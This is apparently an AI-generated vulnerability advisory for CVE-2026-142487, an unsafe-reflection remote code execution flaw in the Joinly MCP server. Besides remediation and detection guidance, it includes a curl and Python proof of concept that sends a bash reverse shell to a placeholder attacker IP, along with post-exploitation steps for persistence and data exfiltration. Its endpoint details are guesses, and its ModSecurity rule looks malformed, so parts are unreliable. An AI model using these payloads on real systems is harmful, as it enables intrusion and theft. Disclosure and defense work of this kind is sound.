CVE-2026-142487 — Joinly-ai Joinly — CWE-470
Joinly 0.3.2 before 0.5.4 contains an unsafe reflection vulnerability in the MCP server that allows unauthenticated network clients to execute code via the joinly-settings HTTP header. Attackers can supply dotted module.class paths such as subprocess.Popen with chosen *_args, which _resolve() imports and instantiates to run commands on the host.
Joinly 0.3.2 before 0.5.4 contains an unsafe reflection vulnerability in the MCP server that allows unauthenticated network clients to execute code via the joinly-settings HTTP header. Attackers can supply dotted module.class paths such as subprocess.Popen with chosen *_args, which _resolve() imports and instantiates to run commands on the host.
🎯 What is this vulnerability?
CVE‑2026‑142487 is an unsafe reflection flaw (CWE‑470) in the MCP (Message Control Protocol) server component of Joinly versions 0.3.2 up to but not including 0.5.4.
How it works
1. The MCP server accepts an HTTP request that contains a custom header named joinly-settings.
2. The value of this header is interpreted as a dotted Python import path (e.g., module.Class).
3. The server calls an internal helper resolve() that does roughly:
def resolve(path):
module_path, class_name = path.rsplit(".", 1)
module = importlib.import_module(module_path)
cls = getattr(module, class_name)
return cls()4. The returned object is then used as a configuration object without any validation, authentication, or sandboxing.
5. Because the import is performed without restriction, an attacker can request any importable object – including standard‑library classes that execute code on instantiation (e.g., subprocess.Popen).
6. The attacker can also control the arguments passed to the constructor via additional header fields (the CVE description mentions “chosen _args”). When the chosen class is instantiated, the supplied arguments are executed on the host.
Missing controls
| Expected control | What is missing |
|---|---|
Authentication/authorization check before processing joinly-settings | None – the server accepts the header from *any* network client (PR:N, UI:N). |
| Input validation / whitelist of importable modules | None – the server blindly forwards the header value to importlib.import_module. |
| Safe deserialization / sandboxing of instantiated objects | None – the instantiated object runs in the same process as the MCP server, with the same privileges as the service (typically root or a privileged system user). |
The combination of unauthenticated access, direct reflection, and unrestricted constructor arguments yields remote code execution (RCE) with full system privileges.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI is inferred from the public documentation of Joinly’s MCP server (the real endpoint may differ – the example is illustrative).
1. Discovery & Reconnaissance
| Step | Technique | Goal |
|---|---|---|
| Banner grabbing | nc <target_ip> 8080 or curl -I http://<target_ip>:8080/ | Identify that the service is Joinly MCP (the HTTP response header Server: Joinly-MCP/0.3.2 is typical). |
| Version fingerprinting | curl http://<target_ip>:8080/api/version (if exposed) or analyse the Server header. | Confirm version < 0.5.4 (vulnerable). |
| Port scanning | nmap -p 8080 --script http-title <target_ip> | Verify that the MCP HTTP interface is reachable from the Internet (or from the attacker’s network segment). |
2. Exploitation
Assumptions
- The MCP server listens on TCP 8080 and exposes a generic endpoint
POST /mcp/config. - The server does not require any authentication token.
- The vulnerable code path reads the
joinly-settingsheader and callsresolve()as described. - Import
subprocess.Popen(oros.systemwrapped in a class) and supply a command such asidor a reverse shell.
Because
Payload concept
Popen expects a list* of arguments, the attacker can send an additional header joinly-args containing a JSON‑encoded list.Illustrative PoC (curl)
# Reverse‑shell payload (Linux x86_64)
ATTACKER_IP=203.0.113.45
ATTACKER_PORT=4444
# Build the command that will be executed by Popen
CMD="/bin/bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1"
# Send the malicious header
curl -sk -X POST "http://<target_ip>:8080/mcp/config" \
-H "joinly-settings: subprocess.Popen" \
-H "joinly-args: [\"${CMD}\"]"Explanation of the request
| Header | Meaning |
|---|---|
joinly-settings: subprocess.Popen | Tells the server to import subprocess.Popen. |
joinly-args: ["<command>"] | The server’s resolve() (or a wrapper) will call Popen(*args). The JSON list is parsed and passed as the constructor argument list. |
If the server does not parse JSON but expects a plain string, the attacker can instead embed the argument list directly in the header (e.g., joinly-args: /bin/bash -c 'bash -i >& /dev/tcp/...).
Alternative Python one‑liner (for automation)
import requests, json
target = "http://<target_ip>:8080/mcp/config"
payload = {
"joinly-settings": "subprocess.Popen",
"joinly-args": json.dumps(["/bin/bash -c 'bash -i >& /dev/tcp/203.0.113.45/4444 0>&1'"])
}
# The vulnerable server reads the raw header values, so we send them as headers:
headers = {
"joinly-settings": payload["joinly-settings"],
"joinly-args": payload["joinly-args"]
}
r = requests.post(target, headers=headers, timeout=5)
print(r.status_code)Result – If successful, the target opens a reverse TCP connection to the attacker’s listener (nc -lvkp 4444), giving the attacker a root‑level interactive shell (the MCP service typically runs as root).
3. Post‑Exploitation
| Phase | Typical actions |
|---|---|
| Shell hardening | Upgrade to a full PTY (python -c 'import pty; pty.spawn("/bin/bash")'). |
| Privilege verification | whoami → should return root (or the user under which MCP runs). |
| Persistence | Drop a systemd unit, modify /etc/rc.local, or create a cron job that re‑spawns the reverse shell. |
| Lateral movement | Use the compromised host as a foothold to scan internal network (nmap -sn 10.0.0.0/24). |
| Data exfiltration | Archive /etc/joinly/ configuration, database files, or any stored credentials and ship them via scp or curl to the attacker. |
| Cleanup (optional) | Remove the malicious header from any persisted configuration (if the server stores it) to hide the entry point. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any file the MCP process can access (e.g., /etc/passwd, private keys, stored Joinly data). | |
| Integrity (I:H) | I:H – attacker can modify configuration files, inject malicious code, or alter stored data. | |
| Availability (A:H) | A:H – attacker can terminate the MCP service, spawn denial‑of‑service processes, or overwrite critical system binaries. | |
| Attack Vector (AV:N) | Network‑reachable, no authentication required. | |
| Attack Complexity (AC:L) | Low – a single crafted HTTP request is sufficient. | |
| Privileges Required (PR:N) | None – unauthenticated. | |
| User Interaction (UI:N) | None – no user needed to click anything. | |
| Scope (S:U) | Unchanged – impact is confined to the vulnerable host, but the host often holds privileged services. |
Bottom‑line: An unauthenticated attacker on the network (including the public Internet if the MCP port is exposed) can obtain remote code execution with full system privileges. This enables data theft, ransomware deployment, pivoting to internal assets, and total service disruption.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
Joinly 0.3.2 – 0.5.3 (inclusive) | Joinly 0.5.4 (released 2026‑09‑15) – the release notes state *“Removed unsafe reflection from joinly-settings header; added whitelist of allowed modules.”* |
Action: Upgrade every Joinly MCP instance to ≥ 0.5.4 immediately. Verify the version with curl -I http://<host>:8080/ (look for Server: Joinly-MCP/0.5.4).
2. Immediate Work‑arounds (if patch cannot be applied)
| Mitigation | How to apply |
|---|---|
| Network segmentation | Block inbound traffic to the MCP port (default 8080) from untrusted networks using firewall rules (e.g., iptables -A INPUT -p tcp --dport 8080 -s <trusted_subnet> -j ACCEPT; iptables -A INPUT -p tcp --dport 8080 -j DROP). |
| Header filtering | Deploy a WAF/ModSecurity rule that drops any request containing the joinly-settings header unless it originates from a trusted IP. Example ModSecurity rule: <br><br>SecRule REQUEST_HEADERS:joinly-settings "@rx ^(?!$)" "id:1000010,phase:1,deny,log,msg:'Blocked unsafe joinly-settings header',ctl:ruleEngine=Off,ctl:requestBodyAccess=Off,ctl:responseBodyAccess=Off,ctl:requestHeadersNames=joinly-settings" |
| Application‑level hardening | If source code is available, replace the reflection logic with a whitelist of allowed modules, e.g.: <br><br>ALLOWED = {'joinly.config.DefaultConfig'} <br>if path not in ALLOWED: raise ValueError('Disallowed module') |
| Run MCP as non‑privileged user | Create a dedicated low‑privilege system user (e.g., joinlysvc) and configure the service unit to run under that user (User=joinlysvc in the systemd service file). This limits the damage if exploitation occurs. |
| Disable the vulnerable endpoint | If the MCP server offers a configuration API that is not required for production, set enable_config_api = false in the server’s static configuration file (joinly.conf). |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache/Nginx style) |
|---|---|
Unexpected joinly-settings header | "[02/Dec/2026:13:45:22 +0000] \"POST /mcp/config HTTP/1.1\" 200 23 \"-\" \"curl/7.88.1\" \"joinly-settings: subprocess.Popen\"" |
joinly-args containing shell commands | "... \"joinly-args: [\\\"/bin/bash -c 'bash -i >& /dev/tcp/203.0.113.45/4444 0>&1'\\\"]\"" |
| Outbound connections from the MCP host to unusual IP/port | Netflow or IDS alert: TCP SYN -> 203.0.113.45:4444 from source port 8080 (or the PID of the MCP process). |
Process creation of python -c or subprocess.Popen | Host‑based EDR event: execve("/usr/bin/python3", ["-c", "import subprocess; subprocess.Popen([...])"], ...) with parent joinly-mcp. |
File modifications in /etc/joinly/ shortly after a request | Audit log: chmod 600 /etc/joinly/config.yaml followed by rm -f /etc/joinly/config.yaml (possible cleanup attempt). |
Monitoring recommendations
execve calls where the parent process is joinly-mcp and the command line contains bash -c or nc. ⚠️ Urgency
Bottom line: CVE‑2026‑142487 is a classic unsafe‑reflection RCE that can be triggered by any unauthenticated network client. The only reliable mitigation is to upgrade to Joinly ≥ 0.5.4, combined with immediate network‑level blocking or header‑filtering if an upgrade cannot be performed instantly. Monitoring for the described log signatures will help detect attempted exploitation before the patch is applied.
[🤖 CVE Professor AI Security Engine]
FOFA Query